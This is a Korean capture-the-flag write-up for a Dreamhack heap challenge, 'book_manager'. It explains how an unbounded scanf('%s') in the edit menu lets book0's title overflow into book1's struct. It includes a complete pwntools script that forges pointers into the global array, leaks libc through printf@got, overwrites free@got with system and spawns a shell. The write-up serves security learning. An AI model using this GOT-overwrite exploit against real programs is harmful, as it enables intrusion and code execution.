[PWN] book_manager Write-Up

Magnolia·2026년 3월 30일

보호 기법

코드 분석

바이너리는 책 정보를 힙에 저장하는 단순한 매니저이다.

typedef struct {
      long long no;      // +0x00
      long long price;   // +0x08
      char *author;      // +0x10
      char *title;       // +0x18
  } Book;
  
Book *books[10];       // 0x4040c0

메뉴별 동작은 다음과 같다.

  • Register a Book

    • Book 구조체 malloc(0x20)
    • author 버퍼 malloc(0x30)
    • title 버퍼 malloc(0x30)
    • 숫자는 %lld, 문자열은 %29s로 입력
  • Book Info

    • books[idx]가 가리키는 구조체를 읽어서 출력
  • Delete a Book

    • free(title), free(author), free(book) 수행
  • Edit Book Info

    • 숫자 필드는 %lld
    • 문자열 필드는 %s

    등록과 수정의 차이가 중요하다. 등록은 %29s인데 수정은 %s 라서 문자열 길이 제한이 없다.

    세 권을 순서대로 등록하면 힙 배치는 대략 이렇다.

book0 struct
book0 author
book0 title
book1 struct
book1 author
book1 title
book2 struct
book2 author
book2 title

book0.title을 넘치게 쓰면 바로 다음의 book1 struct를 덮을 수 있다.

취약점 분석

이번 익스플로잇에서 실제로 쓰는 취약점은 Edit Book Info의 힙 오버플로우이다.

수정 루틴의 문자열 입력 방식은 다음과 같다.

scanf("%s", book->author);
scanf("%s", book->title);

문제는 author, title 모두 malloc(0x30)인데 %s에 길이 제한이 없다는 점이다.

그래서 book0.title을 수정하면서 0x30 바이트를 넘겨 쓰면 다음 청크인 book1 struct까지 덮을 수 있다.

익스플로잇의 핵심은 book1 struct를 가짜 구조체로 바꾸는 것이다.

book0.title의 버퍼를 끝까지 채우고 다음 청크의 prev_size를 덮는다. 그리고 boo1 struct 청크의 size 필드를 정상으로 유지하고 book1.nobook1.price에 각각 1을 넣는다. 그리고 book1.authorbooks[3]의 주소를 넣고 book1.title에는 books[6] 근처의 쓰기 가능한 영역의 주소를 넣는다.

이후 book1의 author를 수정하면 원래 힙 버퍼가 아니라 bss 영역의 books 배열을 직접 덮게 된다.

이제 books의 3, 4인덱스는 Book *가 아니라 GOT 엔트리를 가리키는 포인터로 만들 수 있다.

여기서 나는 books의 3번째 인덱스에 printf의 got를 넣었다. puts@got의 주소는 0x404020인데 첫 바이트가 0x20라서 공백문자다. 따라서 %s 입력일 때 그대로 넣기 어려워 printf (0x404028)을 넣어 첫 바이트가 0x28인 상태로 넣을 수 있다.

익스플로잇 코드

from pwn import *

p = process('./prob')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# p = remote('host8.dreamhack.games', 23604)
# libc = ELF('./libc.so.6')
e = ELF('./prob')

books = 0x4040c0

def menu(n):
    p.recvuntil(b'Select Menu: ')
    p.sendline(str(n).encode())
    
def reg(no, price, author, title):
    menu(1)
    p.recvuntil(b'Book No.: ')
    p.sendline(str(no).encode())
    p.recvuntil(b'Book Price: ')
    p.sendline(str(price).encode())
    p.recvuntil(b'Book Author: ')
    p.sendline(author)
    p.recvuntil(b'Book Title: ')
    p.sendline(title)
    
def info_num(idx, which):
    menu(2)
    p.recvuntil(b'Book Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Which Info?: ')
    p.sendline(str(which).encode())
    return int(p.recvline().strip())

def edit_str(idx, which, data):
    menu(4)
    p.recvuntil(b'Book Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Which Info?: ')
    p.sendline(str(which).encode())
    p.recvuntil(b'Your Data: ')
    p.sendline(data)

def edit_num(idx, which, value):
    menu(4)
    p.recvuntil(b'Book Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Which Info?: ')
    p.sendline(str(which).encode())
    p.recvuntil(b'Your Data')
    p.sendline(str(value).encode())
    
def delete(idx):
    menu(3)
    p.recvuntil(b'Book Index: ')
    p.sendline(str(idx).encode())
    
p.recvuntil(b'What\'s your name?: ')
p.sendline(b'A')

reg(0, 0, b'a0', b't0')
reg(1, 1, b'a1', b't1')
reg(2, 2, b'a2', b'/bin/sh')

payload = b'A' * 0x30
payload += b'B' * 0x8
payload += p64(0x31)
payload += p64(1)
payload += p64(1)
payload += p64(books + 0x18)
payload += p64(books + 0x30)
edit_str(0, 4, payload)

payload = p64(e.got['printf'])
payload += p64(e.got['free'])
edit_str(1, 3, payload)

pause()

printf_leak = info_num(3, 1)
libc_base = printf_leak - libc.symbols['printf']
libc.address = libc_base
print(f'printf : {hex(printf_leak)}')
print(f'libc base : {hex(libc_base)}')
print(f'system : {hex(libc.symbols['system'])}')

edit_num(4, 1, libc.symbols['system'])

delete(2)

pause()

p.interactive()

동적 디버깅

0x4040c0은 books의 배열 시작이다.

books[1]이 가리키는 book1 구조체를 확인하면 다음과 같다.

book1 struct
  no     = 1
  price  = 1
  author = 0x2c3fc380
  title  = 0x2c3fc3c0

author와 title은 books 배열 내부가 아니라
heap에 따로 할당된 문자열 버퍼를 가리키는 포인터이다.

books[3]에는 printf@got가, books[4]에는 free@got가 들어간 것을 알 수 있다.
즉 fake book 구조체를 이용해 GOT 영역을 struct처럼 사용하게 된다.


이후 info_num(3, 1)을 실행하면 정수 하나가 출력되는데 이 값이 printf의 실제 libc 주소이다.

그리고 free@got(0x404018)의 값이 system 주소로 overwrite된 것을 확인할 수 있다.

여기서 delete(2)를 하게 되면 free대신 system이 호출되며 셸이 따진다.

익스플로잇 코드 흐름

  1. 이름 입력

  2. 책 세 권 등록

    • book0은 overflow source
    • book1은 corruption target
    • book2는 최종 트리거
  3. book1 struct 오염

    payload = b'A' * 0x30
    payload += b'B' * 0x8
    payload += p64(0x31)
    payload += p64(1)
    payload += p64(1)
    payload += p64(books + 0x18)
    payload += p64(books + 0x30)
    edit_str(0, 4, payload)

    book0.title 수정으로 book1 struct를 덮는다. 핵심은 book1.author을 &books[3]로 바꾸는 것이다.

  4. books[3]books[4] 세팅
    각각 printf의 got와 free의 got를 넣는다. book1.author이 이미 bss를 가리키기 때문에 author 수정이 전역 배열 덮기로 바뀐다.

  5. libc leak
    leak한 print@got로 libc base를 구한다.

  6. free@got를 overwrite
    books[4]가 free@got 상태이므로 숫자 필드 수정이 system이 된다.

  7. free(book2->title)이 사실상 system("/bin/sh");가 되기 때문에 셸을 획득한다.

정리

  • Edit Book Info의 %s 힙 오버플로우로 다음 책 구조체를 덮는다.
  • 덮인 구조체의 포인터를 이용해 books 배열을 마음대로 쓴다.
  • books 배열 슬롯을 GOT로 돌려서 leak과 overwrite를 만든다.
  • free@got를 system으로 바꾸고 /bin/sh 문자열을 free해서 셸을 획득한다.

0개의 댓글